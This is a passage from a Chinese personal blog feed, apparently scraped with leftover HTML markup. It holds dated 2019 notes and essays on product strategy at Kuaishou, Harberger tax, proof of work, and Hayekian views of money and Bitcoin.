    快手的优势永远在于它是一个社交网络。主播、电商、粉丝的互惠利益链。

    +
    +
  • +
+

2019-06-08

    +
  • 和用户engage的方法。一个微信机器人自动发动群链接,代替intercom直接和用户对话. 苏剑林维护的微信机器人,很有效率的连接起来两个群里的讨论。
  • +
  • c2x的蛮荒时代已经过去。针对c端的赋能工具和平台会成为下一个阶段的重点。
  • +
  • 仅仅依靠善良是不够的,我们需要设计经济规则来驱动和引导用户行为。为用户考虑经济效益,把他们的利益内部化。预防劣币驱赶良币的情况。我不是不相信用户自己的决定,我只是不希望看到用户在一个依赖廉价资源的市场里相互竞争而受马太效应的统治。这意味着我们需要主动权。
  • +
+

2019-06-06

    +
  • 我本来不是这样的,但是我为了靠近你,我愿意改变我自己。
  • +
  • 明显感觉健身的好处!睡眠时间可以维持在七个小时!
  • +
  • 存在主义,正是人文主义啊。这是关于人的哲学。
  • +
  • 除去电商之外的另一条盈利的方式。电商不应该成为唯一的变现路径。跟风带货,虚假带货,容易导致劣币驱逐良币的市场环境。对于更重精神消费(艺术)一类的快手创造者,给予他们一类相比电商更合适的盈利方式。
    +

    所以有直播!直播的打赏同样给非交易导向的用户一个盈利的途径。目标是保持群体的粘性。因为群体的粘性基本决定了collectible的订价范围(共识),而这进一步决定了创造者能够得到的赞助收入。harbinger tax完全可以中心化的实现。需要用户下载安装metamask,以及交易eth是很高的门槛了。难点在于frictionless的货币流通。那么完全可以以平台内的代币来实现的 (快币)。这个tax是付给创造者的。一开始,可以让最engaged的用户freely claim这个collectible。然后开始流通。支付的tax是按照估值的一定比例,然后按年化除以持有天数来计算。适合虚拟的badge,流动性极强的电子资产。必须找到和patreaon直接付费订阅的区别。

    +
      +
    1. 间接解决了订阅中心化定价的问题,而是直接采用市场化竞争的定价方式。每个持有者能够找到对应真实价值的定价。
    2. +
    3. 对订阅的持有者存在激励体系。是双赢而非零和交易。同时由于交易价格是由共识范围影响,持有者有利益驱动去扩大这个物品的共识,通过社交分享。
      局限:短期看比直接订阅制对创造者的经济贡献要少。以及同样由共识范围所影响。容易出现马太效应和投资行为。
      技巧:在存在买家决定交易的时候,能够提供给卖家最后一次调整价格的机会。如果卖家选择调整,则价格重新计算,如果卖家选择不调整则直接进行交易。
      参考campaign: +
    4. +
    +
    +
  • +
  • 关于quadratic voting的本质:同样是10票,这意味着10个人的一票以及1个人的100票的成本。这个规则偏向的是,smaller but wider-interested donations > larger but single donation. 偏向浮现出更多人在意的议题。局限是,仍存在共谋的风险。
  • +
  • frictionless payment能够创造出新的支付场景,streaming payment and adapting pricing(实时动态定价和支付); 以及real-time gambling。虽然现在暂时来说门槛还是很高的,不能要求普通用户也下载metamask用eth来交易,but who knows.
  • +
  • 那些需要你脱离生产环境(context switch)的所谓效率工具,实际上是在降低效率。看到product hunt头名又一款浏览器new tab插件有感。
  • +
+

2019-06-05

    +
  • 平台公司的两个思路,面对开发者和面对消费者。
  • +
  • 比特币的避险属性比黄金高。特朗普连任的概率极高,政策导向是国家贸易主义,为了刺激国内的消费,大几率在连任后开始多轮量化宽松,降低利率,而一旦美元持续贬值,大部分贸易国也会大几率跟进贬值货币。而且仍旧是那个观点,一旦某些中心化机构开始通过买入比特币保值,那么它的价值将被进一步的证实。
  • +
  • 其中苹果这种中心化的隐私保护思路,某种程度上可以取代数据工会(by weyl)的部分作用,甚至成本更低,用户体验更好。因为去中心化的前提就是个体的理性和高抗风险能力,而这一点是绝大多数用户欠缺的。做一波预测,未来由中心化企业发布的流通货币,会比绝大多数去中心化电子货币的影响力都大。
  • +
  • spotify stations。anchor。微信读书。用「章节」更细颗粒度的分享。
  • +
  • insert video into video https://arxiv.org/abs/1903.06571
  • +
  • 平凡者造人,上帝在画画。
  • +
+

再议哈伯格税 (新经济学人群聊)

    +
  • 关于提问“其实同样存在其他成本,比如折旧,机会成本等等,这些都算持有成本,为什么要强制征税?” 答:这个强制的税算是把这些隐式的成本给可视化了从而推动用户决策,中心仍是为了帮助用户找到自己对资产的真实估值(因为无论偏高还是偏低都对自己不利)
  • +
  • 关于资产类别的问题。答:我个人也不认为由政府对“实体”资产征收具有可行性,但是在小范围人群内能够对所有人交易转移所有权,流动性极高的信息(包括电子身份,以及域名,知识产权这些)是我认为可行的。
  • +
  • 和fomo 3d的区别。答:fomo3d是庞氏的机制,其推动资产流动的动力不是来自于自由交易(共赢)而是来自于发展接盘者(零和)。
  • +
  • 局限性?答:是存在这类问题的,因为强调了资产的流动性而容易导致降低了用户对资产的投资预期,比如你如果知道域名可能在未来某个时间被交易走你可能对这个域名内容投入的努力会减少等等,因此作者在论文中也建议,对那些偏向价值累进的资产场景(比如房屋,知识产权等等,重视一些投资价值)征收相对较低的税。
  • +
  • 关于IP一块的讨论。答:是适用的场景。简单来说,这会导致专利流氓的持有成本增高的特别快,防止他们holdout。
  • +
+

2019-06-04

    +
  • “被成长性投资人抛弃的公司,再无长期投资价值”
  • +
  • 如果更熟悉terminal里的键位操作,其实可以移植很多应用到terminal的版本。
  • +
+

2019-06-03

    +
  • 判断一样东西能火多久,其实也是在看它是否能够储存价值,这个价值可以意味着social status等。滤镜的价值是在贬值的。因为它的供应在极大地增加,而形成了通货膨胀。基于一套固定框架,或者利用固定优势火起来的产品,也会随着这一套固定框架的流行而贬值。人们总会去追逐能够帮助他们达到最大化social status的途径。这意味着对于不同的人,不能够依赖一致的具备强内容引导性质的框架。因为无论你如何努力,最终被看到的主体重心仍在框架上,缺乏自由度。
  • +
  • 对于如何看待一个产品是否能够保持其价值。从货币上得到很多的启发。proof of work的重心在于两点:
      +
    • 价值源于不可伪造的成本(时间是最不可伪造的成本)
    • +
    • 极其容易验证
      这个逻辑可以用来帮助分析,哪些产品形态是能够保持价值的,而哪些是容易贬值。大部分开放社交网络产品的目的,都是为了帮助用户降低提供价值的成本。那些精美图片的价值,很大程度上是源于被中心化控制的滤镜。而一旦这些滤镜普及开来,自然造就了它们的贬值。因为这里的价值根植在一个不稳定的供给。当爆款只有你一个人有,你是全世界最靓的仔;但是当爆款人手一个的时候,你就哭了。最终人们会逃离持续贬值的环境,而流向价值存储最稳定的媒介。价值存储最稳定的方式是被共识所承认的不可伪造的成本,时间是其中之一。如果要写科幻小说的话,归属于个人的生命力也是这样一个不可伪造的成本。讲回来,被共识承认是其中一个容易被忽略的点,要不然这些成本就是类似西西弗的归途。但本质上,一个商业产品的影响力正是在宣扬它这个体系内的共识。
      对于第二部分容易验证的特质。也很简单,比如抖音的滤镜。你难以验证个体的成本,当你看到的是大量拥有固定格式化的内容,而用户也将转移到采用更容易验证的环境里。
      +

      [19.6.5] 优衣库时隔4年再刷屏:99元,贱卖了中国人的体面 价值贬值的时代,人们在追逐,捏造新的价值。

      +

      本质上,纹身和高跟鞋是同一样东西。

      +

      还记得那个比喻。如果你在社交网络的人像旁边放上一个数字,一定要特别注意,因为人们会尽可能让那个数字变大。

      +

      我只是想和你们聊聊,其实有些东西永远不会贬值。

      +

      某种意义上我很感激快手的出现。它证明了这个世界的多样性也是生活的多样性。人们的尊严,也是人们不同的审美。它不指向高低,而是复杂。

      +
      +
    • +
    +
  • +
  • cake浏览器的产品理念很有意思。我直接帮你处理好,但是你随时可以回到最原始的版本自己挑选。相比现在很多相机的理念是,默认在最原始的版本,但是你有各种的滤镜处理方向。
    +

    隐含的意思是:激进的产品理念。会负面影响下游的多样性。

    +
    +
  • +
  • 你是在替用户节省理性的部分,帮助他们节省时间和空间,以此盈利。
  • +
  • 判断是否是一个优秀的pm:是否能够摆脱幸存者偏差的视角来思考问题。仅仅在维护现状以及为了反对的反对都很无力。
  • +
+

2019-06-02

    +
  • 不对称性(proof of work)的实例其实很常见: hard to create, but easy to verify, 比如学历,健身,follower count等等。social status as a service。
  • +
  • 在整理自己博客和日记时的感悟:关于信息整理的两个有效维度。时间和wiki。两者缺一不可。更像的搭配是,时间维度更适合给关注者,而wiki分类分级维度更适合给学习者。这在于作者给这个博客的定位。
  • +
  • 微信读书内测“故事”,根据读过的内容直接推荐其他书的章节。
  • +
+

2019-06-01

    +
  • 在北京多看艺术展,创意展。
  • +
  • 无所谓一定用vim,任何编辑器只要有vim mode即可。
  • +
  • 去中心化,还有一个优势,在于明确了数据的唯一所有者是创造者,而其他地方所有的版本都是指针(reference)。这意味着,用户的每一次对原版本的修改,都能够反映在所有引用这一篇内容的地方,间接实现了内容的动态更新。论目前内容生态的割裂。而目前做的最接近的还是微信公众号的引用规则。
  • +
  • 在你想我的时候,就化为灰烬。
  • +
+]]>
+ + + + + + + + + + + + + + + + + +
+ + + <![CDATA[钱不是必要的,流动性才是。]]> + + http://chocoluffy.com/2019/06/14/钱不是必要的,流动性才是。/ + 2019-06-14T14:57:27.000Z + 2019-09-21T14:30:39.252Z + 钱,fiat currency,是没有真正价值的,能与之兑换的黄金才有。纸币被创造出来是为了帮助价值在时间和空间上的转移1,这意味着流动性。而从另一个角度看,钱本质上也是价值流动性短缺的结果。而如果实现了更高效的价值转移,钱将因此不是必要的。这个趋势其实已经出现了,以paypal,微信支付等的电子支付,其实提供了一定线索。只是随着加密货币的应用范围不断拓展,将出现流动性更高的流通货币2,而资产债券化也将更普遍。

+

银行的存在是为了缩短钱的周转周期,因此银行本质上提供的是流动性。在直接的贸易交换中,直到我给你真金白银的时刻,你才拥有了支配那些钱的权利。但是在存在银行参与的情况下,不管我银行账户里有没有钱,在我们达成交易的时刻,你的账户里就多了这一笔钱而你可以随时随地消费它,我进而与银行存在了一笔债务。我和银行之间的的结算其实是滞后的,被缩短的这个时间差极大地改善了经济运转的效率,并使市场衍化出更为复杂的异步(asynchronous)结构。从这个角度去看那些各式的金融衍生品,比如期货,次贷等等,实际上都是为了提高流动性,无论这个流动性是真实的,还是掺假的(即没有对应价值的抵押物)3

+

进一步地,我们经常说比特币能够代替银行,其实说的是能够取代银行的信用,而信用提供了流动性因为我信任你,所以你的债务能够流动开。这也是为什么银行的债务具备公信力,而最具备公信力的是国债。

+

基于这个逻辑,我们能够得到一个有趣的结果:能够提供信用的人,也能够承担一部分银行的作用

+

而信用的来源则决定了其流动性的安全性。

+

有人说,信用来自于名声。4

+

还有人说,信用来自于抵押物。5

+

又或者,信用来自于已经付出的成本。6

+

有意思的是,上述信用来源的次序,同样呈现出中心化程度逐次递减,而可验证的容易程度逐次递增。中心化程度递减好理解,从资源的分布可以看出来。名声是注定稀缺的,因为它会随着供应的增加而迅速贬值。而抵押物,也作为被公认可交换的资源,也不是所有人都能拥有的。而付出的成本7,相比之下,受垄断的程度远比资本的垄断程度要低。而为什么可验证这个属性值得讨论,这意味着自由随机的竞争,这也意味着权力的不对等优势。因为不可验证的东西不存在竞争,也更倾向于垄断。而同时通过验证,真正做了功的人,应当拥有超越其人口统计学比例的权力影响结果,而不受民粹的看客影响。

+

这些不同的模式,有着不同的适用范围,和不同的成本考量。其实没有所谓的绝对“安全”的感念,只要破坏这个系统的成本足够高,系统就是足够安全的。我们想聊流动性的安全性,其实是在聊流动性的成本。

+

实现完全的去中心化,需要高企的成本,预设了极其严苛的信用前提。而后续所有针对去中心化效率提高的提案,无非是尝试削弱对信用的预设,引入中心化的实体提供额外的默认信用。

+

这究竟是好是坏,各执己见。我只是想提出一种可能性,相比起现在大范围流通的钱,私人流通的债券,在其私人领域会更有效,能够提供更高的流动性。这个私人领域可以是一个中心化公司的商业环境8,可以是一个DAO,也可以简单是一个人际关系的小圈子。能够传递内部交易信息的货币,是相比外部货币更高效的流通媒介,尽管这同样意味着需要由个人承担起交易风险。

+

这也是去中心化的祝福与代价。9

+

  1. 1.解决"coincidence of wants"。
  2. 2.和我们熟悉的电子支付的区别在于,不再依赖中心化的信用担保。
  3. 3.后果见08年次贷危机。
  4. 4.而支撑起名声的,可能是封建迷信的风俗,比如所谓的天赐皇权,教皇至上的制度;也可能是军事战力,比如国家的形成。
  5. 5.比如Vitalik主张的Proof of Stake。
  6. 6.比如Satoshi主张的Proof of Work。
  7. 7.在Proof of Work的框架下,意味着电力和机器的成本,该成本仍远低于资本的垄断程度。
  8. 8.Facebook将于19.6.18公开其私域流通的加密货币的白皮书。
  9. 9.本文的部分思路启发于《evil is the root of all money》。
]]>
+ + + + + + + + + + + + + + + + + + + + + +
+ + + <![CDATA[一部货币演化史,以及21世纪的“比特币本位”]]> + + http://chocoluffy.com/2019/06/01/一部货币演化史,以及21世纪的“比特币本位”/ + 2019-06-01T20:14:13.000Z + 2019-09-21T14:30:39.244Z + 《The Bitcoin Standard》的读后感。4.5星。这本书更像是一部货币演化史,依次介绍了货币在不同时期的作用和局限。

+

经济学里面有一个很有意思的讨论是,信用体系和货币体系究竟谁先出现。这个讨论启发了后续很多的机制设计的大致思路。Vitalik认为是信用体系先出现,也即债券的流动先于货币出现1,而信用的流动性源于抵押物。这也成为了Vitalik提出的Proof of Stake的核心思想:Staking。而另一个方向,也是这本书的出发点,认为货币体系早于信用体系的出现,这强调货币作为价值交换媒介的属性,而成为交换媒介的前提是价值存储。其拥有的价值源于其稀缺性,也就是生产所付出的时间成本。这也成为了Satoshi提出的Proof of Work的核心思想,而比特币的价格也将最终趋向于挖矿成本的纳什平衡。

+

这本书前半部分很精彩。概括来说,时代的变迁带来了不同的关注点,19世纪经济学家的重心在于,理解货币作为一种市场商品,得以在时间,空间上帮助经济价值交换。这带来了纸币普及等发展。而随着战争爆发,中心银行的建立导致货币贬值危机发生,20世纪许多经济学家的主要理论聚焦在:反思如何保持货币对主权(sovereign)的独立性。而21世纪的经济理论和发明将尝试实现,去中心化(去主权)的货币独立,比如比特币。

+

哈耶克对货币的分析至今依旧相关,他的核心思想是「货币的稳定性」,而其对自由市场的拥护也成为货币稳定的前提。他提出的「货币去国家化」的假想方案,可以理解为货币等价物的自由竞争,利用利差的存在,使得还款人成为货币不稳定的博弈受益者,也使政府趋向于稳定货币的平衡。而同样地,稳定的货币使得持有者可以开始考虑投资,以及演化出更为复杂的市场结构。这使得市场能够更加的专业化,进而提高市场效率。

+

相比之下,凯恩斯主义更像是政府试图扩大管制范围的借口。借由增加政府干预印出高出储备物比例的纸币来间接向纸币持有者征税,用于补贴政府开支。虽然同样不可否认的是,特殊时期,比如战争,经济低迷时期,凯恩斯主义有效果。但这并不是反驳自由市场,货币去主权化的理由。战争会带来经济恢复的谬论,我不再想听到。2

+

书后半段对比特币的介绍相比之下较为平庸。并没有在对应Proof of Work的机制理解上对”为什么”比特币能够实现共识(Byzantine General Problem)以及分权等的效果做出进一步讨论。而是基于比特币的已知特质,比如去中心化,供给固定等等,来介绍为什么比特币会比黄金更适合作为价值存储的媒介及其应用。表达过于繁缛,减半星。

+

不过其中有一个有趣的假设,作者认为未来比特币的应用会接近于金本位时期的银行结构。考虑到比特币网络目前支持的交易上限是每秒四笔。基于这样的交易上限,未来可能出现的情况是银行只将最终的交易结果通过区块链记录,而个人日常交易则是通过银行本身发放的与比特币挂钩的二级货币来结算。这些存储了比特币的银行会像在20世纪货币国家化之前的银行一样工作。而比特币能够代替目前黄金的作用,成为一个储备货币。但未来同样可能出现的是,闪电网络或者其他利用off-chain交易的改进使得交易量能够极大地增加,这将使得基于比特币的交易更加普适。当然,这都是关于安全性和效率之间的取舍。

+

fun fact:一开始我只是简单地理解标题为“比特币标准”,但是后来发现对standard的理解应当靠近类似“金本位”和“美元本位”的理解,即“比特币本位”的含义。

+

最后提一点和这本书没有太大关系,但在这段时间研究加密经济时我的一点启发。关于机制设计的不对称性

+

现代加密算法的发展给我们创造了一个守易攻难的不对称性,而曾经我们只能够依赖自由市场提供的开放博弈优势,现在能够以更低的成本实现封闭的博弈环境。在机制设计中,当我希望将博弈一方的策略稳定的时候,最好的方式是给另一方博弈优势。博弈优势越大,会越快趋向纳什平衡,如果纳什平衡存在的话。因为一方任意的策略偏移都将使得另一方变得更有利可图(加密货币里是守方任意的微小变动将导致攻方巨大的成本提高)。这使得该博弈环境里的玩家行为更可预测,而且也将最终指向设计者设计纳什平衡时达到的状态。

+

这同样意味着双刃剑。具有不良企图的人同样能够利用博弈规则以极低的成本影响纳什平衡。3

+

这需要我们有足够的好奇心,去理解变化事物里不变的部分。以及足够的耐心,去质疑我们曾经相信的。

+

未来或许已经到来,只是还没有扩散开。

+

  1. 1.见大卫格雷伯的《债,第一个5000年》。 同样由Vitalik推荐。
  2. 2.对凯恩斯主义者认为,战争会带来经济恢复,的观点的分析。也是经济学上的”破窗理论”。见我的博客: 谈“破窗理论”下弱势群体的保护主义
  3. 3.p + epsilon attack。能够在不参与博弈的情景下,以零成本(但是需要stake)来影响博弈结果。
]]>
+ + + + + + + + + + + + + + + + + + + +
+ + + <![CDATA[碎语 2019 May.]]> + + http://chocoluffy.com/2019/05/31/碎语-2019-May/ + 2019-05-31T15:58:16.000Z + 2019-09-21T14:30:39.252Z + 2019-05-31
    +
  • 【产品】容易被忽略的点,rss阅读器,通过学习用户的点击和收藏来负责给新的feed以权重排序。
    +

    对于一个低频的工具类应用,其目的是让用户在短时间的使用中能够收获最大效益。

    +
    +
  • +
  • 一些很有意思的理论想法:
      +
    • 哈耶克的「货币去国家化」的假想方案,可以理解为等价物的自由竞争。
    • +
    • 匹配市场的「延迟接受」算法,提供解决拍卖和自由价格市场各自局限的选择,防止最后/提前入场问题,保证充分信息,提高市场效率。
    • +
    +
  • +
  • 🔖【年度】毕业之前,我曾经和我最好的朋友很激烈地辩论过一个话题:一块屏幕究竟能不能改变命运。当时我的立场是能。我不相信技术是中立的。我觉得任何技术的创造者,开发者,应当对自己准备的东西有充足的考虑,以及足够的共情。尽管这意味着可能会带来额外的很多成本,但是这也是它最有意义的地方呀。我没有那么容易就说服自己不再关心。我的目光,一直,会在你身边。
  • +
+

2019-05-30

    +
  • 【剧本】可视化纸币的价值贬值过程。用一张会燃烧的生命卡来代替纸币。
  • +
  • 我所理解的自由。是主动创造;是哈耶克流派,而非凯恩斯主义;是堂吉柯德。
  • +
  • 【产品】谷歌策略的转变很有意思。从搜索作为护城河的接近垄断的大企业,为什么后来开始什么业务都做,操作系统,人工智能,各种办公协作软件。因为谷歌因为搜索搭建了最完善而且自动化的广告系统。他们发现其实广告只是完成了一个数钱的动作,而他们要做的,不过是从各个地方把注意力运过来。mobile first -> AI first,意味着更加激进的用户产品策略。当平台采取自动化的AI服务,将会容易伤害下游内容供应者的多样性。
  • +
  • 【快手】直播作为一个平台?基于直播场景的功能引入。直播,作为一个新的消费场景和context。区分1v1和1v多的场景
    +

    发现没有,直播的场景其实和教育的场景都是极其的类似。大体上都可以区别为四种类型: 1v1, 1v多,多v多,以及自己个体。这也意味着,直播对于教育的适合程度!

    +

    “营火(一对多)、水源(多对多)、洞穴(一对一)和山顶(一)。”

    +
    +
  • +
  • 许多的行业环境,实际上都经历了这样的一个过程:一开始信息难以沟通,需要花费大量时间去发现和交流信息资源。然后参与者通过聚合的方式,形成一个稠密的市场,来增加资源的流动性,此时渠道变得越来越重要。而随着渠道的兼并和垄断,其本身慢慢成为了市场上阻止信息流动、伤害市场有效性的最大玩家。然后市场上的流通资源会逐渐标准化,来减少其对渠道的依赖。
  • +
  • 对于一个匹配市场,达成目标的方式有:拍卖,以及偏好交换匹配(为了达成共识,来代替价格作为一个标准化共识的作用)。这两者的主要区别是,在拍卖里,其实你越晚进入竞争(推迟入场)是越有优势的,因为你会偏向于隐瞒自己的真实偏好以获得更多的竞争优势。而对于偏好交换匹配(例如:延迟接受的算法规则),所有人的真实偏好同时释放但并不公开。而在另一个极端,在自由价格市场里市场堵塞的时候往往导致的策略是提前交易。此时,渠道的意义就大于了物品本身的意义,而大家会开始用额外的成本竞争渠道。也会导致渠道中介的诞生。这是市场低效的表现。因此,如何从速度竞争过渡到价值竞争,是机制设计者需要考虑的问题。
    价格无法调节的市场 -《共享经济》阅读批注 | 余舜哲的 One Piece
  • +
  • 为什么一件好事,也可能成为一件坏事。伤害来自于对好事的固执己见。哈耶克:“比起放任原则,对自由市场最大的伤害可能是那些自由主义者对经验法则的固执己见。”
  • +
  • 【产品】其实从自己整理信息源的过程中,可以看出很多潜在的心理偏好。
      +
    • 很多事情,即便没有使用价值了,依旧希望它留着。比如已经完成的todo,比如不再关注的信息源。虽然它们的利用价值近乎于零,但我还是希望它们留着。在我以后想看到的时候能够看到。
    • +
    • 以及在我的rss源里,主题和更新频率是最重要的两个index。主题作为主index很好理解,而基于主题的更新频率的分类是因为,不平衡的结果近似于不存在。
    • +
    +
  • +
+

2019-05-29

哭泣,是我记忆里的季节
湿润,柔软的,
有着野兽的鼻息
风吹过的清晨
也有过云朵的挽别
而我的目光欺骗自己已经离去
像湖面上被打碎的天

+

2019-05-28

evil is the root of all money

+

我们经常说比特币能够代替银行,能够取代银行的信任,而信任的本质就在于提供了流动性因为我信任你,所以你的债务能够流动开。这也是为什么银行的债务具备公信力,而最具备公信力的是国债。当银行加入我们之间的交易时,流动的其实是银行的债务(IOU debt),而我和银行之间的结算其实是滞后的。 被缩短的这个时间差极大地改善了经济运转的效率。
钱不是必要的,流动性才是。 +

+
+

2019-05-26

    +
  • 【快手】头条的游戏直播会放慢节奏。因为内容的版权存在纠纷。游戏直播对于快手是一个机会。
  • +
  • 【产品】现在的电影效果,是对未来的内容消费最大的启发。比如动作表情捕捉。比如虚拟形象的创造。
  • +
  • devothink3 对文件属性管理。
  • +
  • 科斯的关于公司的理论,交易成本的分析,主要成本来自于信息成本和信任成本。
  • +
  • 打开的是什么app和一天内的时间点很有关系。
  • +
+

2019-05-24

《the bitcoin standard》

完整博文,见一部货币演化史,以及21世纪的“比特币本位”

+
    +
  • 一个关键假设:在复杂的环境中,专业能力并不是固定的。与其强调个人的理性程度,我们更需要机制的设计。这并不意味着每个人对最终的决定有民主的参与,一个有能力有启发性质的个体都应当超出他自己比例的来推动决定,(asymmetry of the minority rule),但是每个参与者都应当有机会成为那个玩家。
    +

    【年度】【想法】年度总结想要提到的:不对称性。个体的时代。

    +
      +
    • 守易攻难
    • +
    • 超出其人口统计意义的决策权。
    • +
    +

    我喜欢加密货币。因为这是我一直在寻找的东西。政府对于其货币不再拥有垄断,他们必须理性地去解决他们应当解决的问题,而不是面对高企的国债就条件反射地选择货币贬值。

    +

    哈耶克之所以提出「去国家化的货币」的论点核心是「货币稳定」。在他的机制下由于利差的存在还款人是货币不稳定的最大受益者( 机制设计的核心:将目标和博弈优势理清楚),这使得货币稳定是对政府最好的选择(也是纳什均衡)。

    +

    比特币如何达到货币稳定。09年1000个比特币1刀,这个价格是通过其对等电力的价格计算出来的。比特币的价值最终会趋向于其花费电力的成本,亦或者说是参与人数,这是远比政府进行货币控制的周期要稳定的多的。

    +
    +
  • +
  • a zero intelligence crowd, under the right decision, works better than a Soviet-style management of maximally intelligent humans.
  • +
  • 【?】bitcoin和黄金的区别:Bitcoin has a huge advantage over gold in transactions: clearance does not require a specific custodian.
  • +
  • bitcoin有了价格之后,就从一个商品(market good)成为了媒介(medium of exchange)。而价格产生的基础在于,共识范围内的成本(稀缺程度)。
    +

    也就是他们的稀缺性是达成共识的。

    +
    +
  • +
  • 货币的意义:如何在时间和空间上转移经济价值。在局限的区域内可以做得到物物交换,但是当区域扩大的时候,时间,空间以及需求上的不平等导致交易难以进行。
    +

    如何简化操作。对实体进行一个抽象的代表,然后该抽象代表是能够进行最小颗粒化的分解的,然后对这个抽象代表进行操作,最后结算。举例:钱的诞生作为最小的价值估量单位;前端的virtual dom。

    +

    能够解构为更小的交易单元意味着更好的拓展性。

    +
    +
  • +
  • 流动性意味着交易成本。货币是[1] 稳定的(相比投资的风险)[2] 具有流动性。
  • +
  • 货币不稳定,将摧毁那些使用这个货币作为价值存储的人的财富。而货币稳定意味着这个货币的生产成本是高,无论使得其生产成本提高的是人为的还是自然的机制。稳定性意味着时间纬度上的保值。而人们应当要有选择不同货币的自由,因为当一种货币的价值不稳定的时候,人们应当能够切换到另一种货币。
    +

    而实际上这一种切换在现实生活中也存在,每当国家之间有摩擦的时候,黄原油以及现在比特币的价格会飙高,因为他们成为了避险的选择。

    +
    +
  • +
  • 哈耶克的思想:自由的货币市场能够得到最稳定的货币。因为这意味着只有选择最稳定的货币,再能保证在未来时间内价值损失最少。而同样,稳定的货币使得拥有者可以开始考虑投资,以及更为复杂的市场结构。这使得市场能够更加的专业化。因为允许了更长周转周期的生产条件。
  • +
  • 人们对一个货币媒介的共识直接决定了它的流动性。
  • +
  • 【?】消费和投资的区别。
  • +
  • 金本位的时候是怎么运行的,19世纪,因为银行和大型中心银行的存在,人们可以利用纸币和支票进行交易,被黄金支撑着。但这个设计最大的缺点就在于由于中心化的银行库存了黄金,这使得银行以及政府能够人为操控钱的供给,使其多出对应的库存中黄金的数量。
  • +
  • a good’s market demand(消费品) (demand for consuming or holding the good for its own sake) and its monetary demand(价值存储) (demand for a good as a medium of exchange and store of value). 当人们选择一个商品作为价值储存的时候,这本质上是增加了超出其正常市场需求的需求。而导致其价格提高。
  • +
  • 对于那些主要用于消费而不适合存储的商品,比如铜,锌,石油等等。囤积商品是劣势行为,因为在消费品市场,供应链能够较快的适应需求的变化,而使得任何囤积的行为在最后出售的时候导致商品贬值而亏损。囤积者的财富其实被转移到了生产者的一方。
    +

    小结一下:其实就是贬值的时候,财富流向生产者。

    +
    +
  • +
  • 而为什么黄金能够成为相比铜和石油更好的价值存储的媒介,因为黄金更为稀缺,这意味着黄金的供给不能较快的反应需求变化。使得囤积者能够受益。
    +

    简而言之:消费品不适合作为价值的存储媒介,因为他们的价格趋向稳定,使得存储没有价值。而pow其实就是在数学意义上保证的一个稀缺率一致的商品。

    +

    价值存储的功能使其成为交换的媒介,也就是货币。你是所以愿意在昨天接受它,是因为你相信你在明天能够花掉它。

    +

    这引出这样一个结论:比特币将会是很好的价值存储的媒介。

    +
    +
  • +
  • 凯恩斯主义:增加政府管制,以及多印货币。源于罗马帝国时期的尼罗王时期骄奢淫逸的作风,为了支撑懒惰的国民,决定将金币中的金的成分降低,以及混出银等物质,使得货币贬值,政府债务降低,以及政府可供开支增大。然而极大的贬低了生产者的积极性。
  • +
  • 罗马帝国的衰败很大程度上和君主的骄奢有关,而这直接影响到的就是其货币的贬值。为了逃离持续贬值的循环,许多生产者去到独立的地区开始自给自足的生活,而这也迎来了接下来的地主封建制度。
  • +
  • 科技对经济的影响。在于联系地更加紧密。在于信任的引入。由于运输过程的成本大大降低,这使得原本必须用实体货币交易的场景开始采取纸质货币以及代币。
    +

    【快手】代币的引入?由于信任的存在,允许了更长周期的流转和交易。

    +
    +
  • +
  • gold standard译作金本位。指代的是货币直接与黄金挂钩。而bitcoin standard作为本书的标题,我认为作者希望采用类似的比喻义,也即比特币本位的意思,而不是直接理解为“标准”的意思。同样值得注意的是,比特币价格的提高会在一定程度上抑制黄金价格提高的趋势,因为两者本质上属于替代物,而由于货币使用场景的网络效用,存在赢者通吃的局面,一方的增长会影响另一方的增长。作者进一步认为,19世纪中国和印度的落后很大程度上和这两个国家采用的银本位经济体系有关,在这段时期银的价值贬值了78%,极大地影响了经济循环。这和当初外国人侵略非洲时带入的外来货币破坏了本地的货币供给一样,这使得财富从货币持有者转移到了货币的供给者。作者给出了建议永远不要忽略那些可能更稳定的货币,比如比特币。
  • +
  • 这也是为什么20世纪的许多经济学家的主要理论都聚焦在:如何保持货币对主权(sovereign)的独立性。
  • +
  • 时代的变迁带来了不同的关注点,19世纪的经济学家的重心在于,理解货币作为一种市场商品,得以在时间,空间上帮助经济价值交换。导致了包括纸币的出现等等。而随着货币贬值危机发生,20世纪的许多经济学家的主要理论都聚焦在:如何保持货币对主权(sovereign)的独立性。而21世纪的货币,则主要发明来,实现对中心化的独立。
  • +
  • 金本位时期,其覆盖国家实现了高经济增长。但是有几个缺点,比如政府依旧在尝试多印纸币,这意味着依旧一直存在着挤兑黄金的风险。以及,黄金难以物理存储的特质导致其更容易倾向于中心化的存储,这给了政府干预极大的便利。本质上,那些多印出来的纸币(没有对应匹配的黄金的纸币),是靠这个机构的信用创造的。而真正强权的政府,往往是通过对政府信用的迷恋开始的,他们认为,仅仅因为一个强力的政府就能够从一堆白纸中创造财富,让人民都变得更富有。这也是20世纪的时候,政府开始基于金本位的制度做了很多更适合管制的设计,比如创造现代化的中心化银行。
    +

    这也解释了为什么Vitalik会提出PoS基于信用的方案,它认为的货币体系是信用系统早于物物交换的。他也认为基于信用的系统会更安全。

    +
    +
  • +
  • 第一次世界大战的爆发,也促成了从金本位转向法令货币为标准的转变,因为这使得政府能够隐形地征税来填补战争的开支。
  • +
  • 对凯恩斯主义者来说,战争会带来经济恢复。谈“破窗理论”下弱势群体的保护主义 | 余舜哲的 One Piece
  • +
  • 当一个国家的货币贬值的时候,对于产品来说便于出口。同时拥有该国货币的人,同样会选择购买他国的货币,或者其余的保值渠道(又比如房地产)。
  • +
  • 从金本位到美元本位的转变,意味着美联储成为了全世界的中心银行,也只有他们可以兑换黄金,而其他国家的中心银行也就等同于地方银行,他们流通的地方政府货币是难以兑换黄金的。
  • +
  • 哈耶克在1984提到,他并不认为在我们从政府的手上拿回货币的控制权之前,我们能够获得货币。我们也无法通过暴力来夺回。我们能做的,是隐秘地创造新的形式,政府他们没办法阻止。(比特币)
  • +
  • sound money的time preference属性。
  • +
  • 【想法】算法,可以提供更好的规划,这意味着更稳定的流动性。而时间差带来的影响能够被更好的测量和评估定价。对于很多传统行业来说,它们会倾向于lobby消费者接受这样的一个观念:此刻的消费优于未来的消费。但对于互联网企业,能够提前预约用户的未来需求将给企业以极大的信息,资源组织的空间,而不需依赖将所有的计算能力置于当下的交易窗口。比如,预约打车的时间点或许可以提前到添加某个日历提醒,甚至通话中的口头安排。这样的资源优化空间尤其适用于online to offline,供给难以短时间调整的匹配场景。因为更好的流动性能够弥补短期供给短缺。
    +

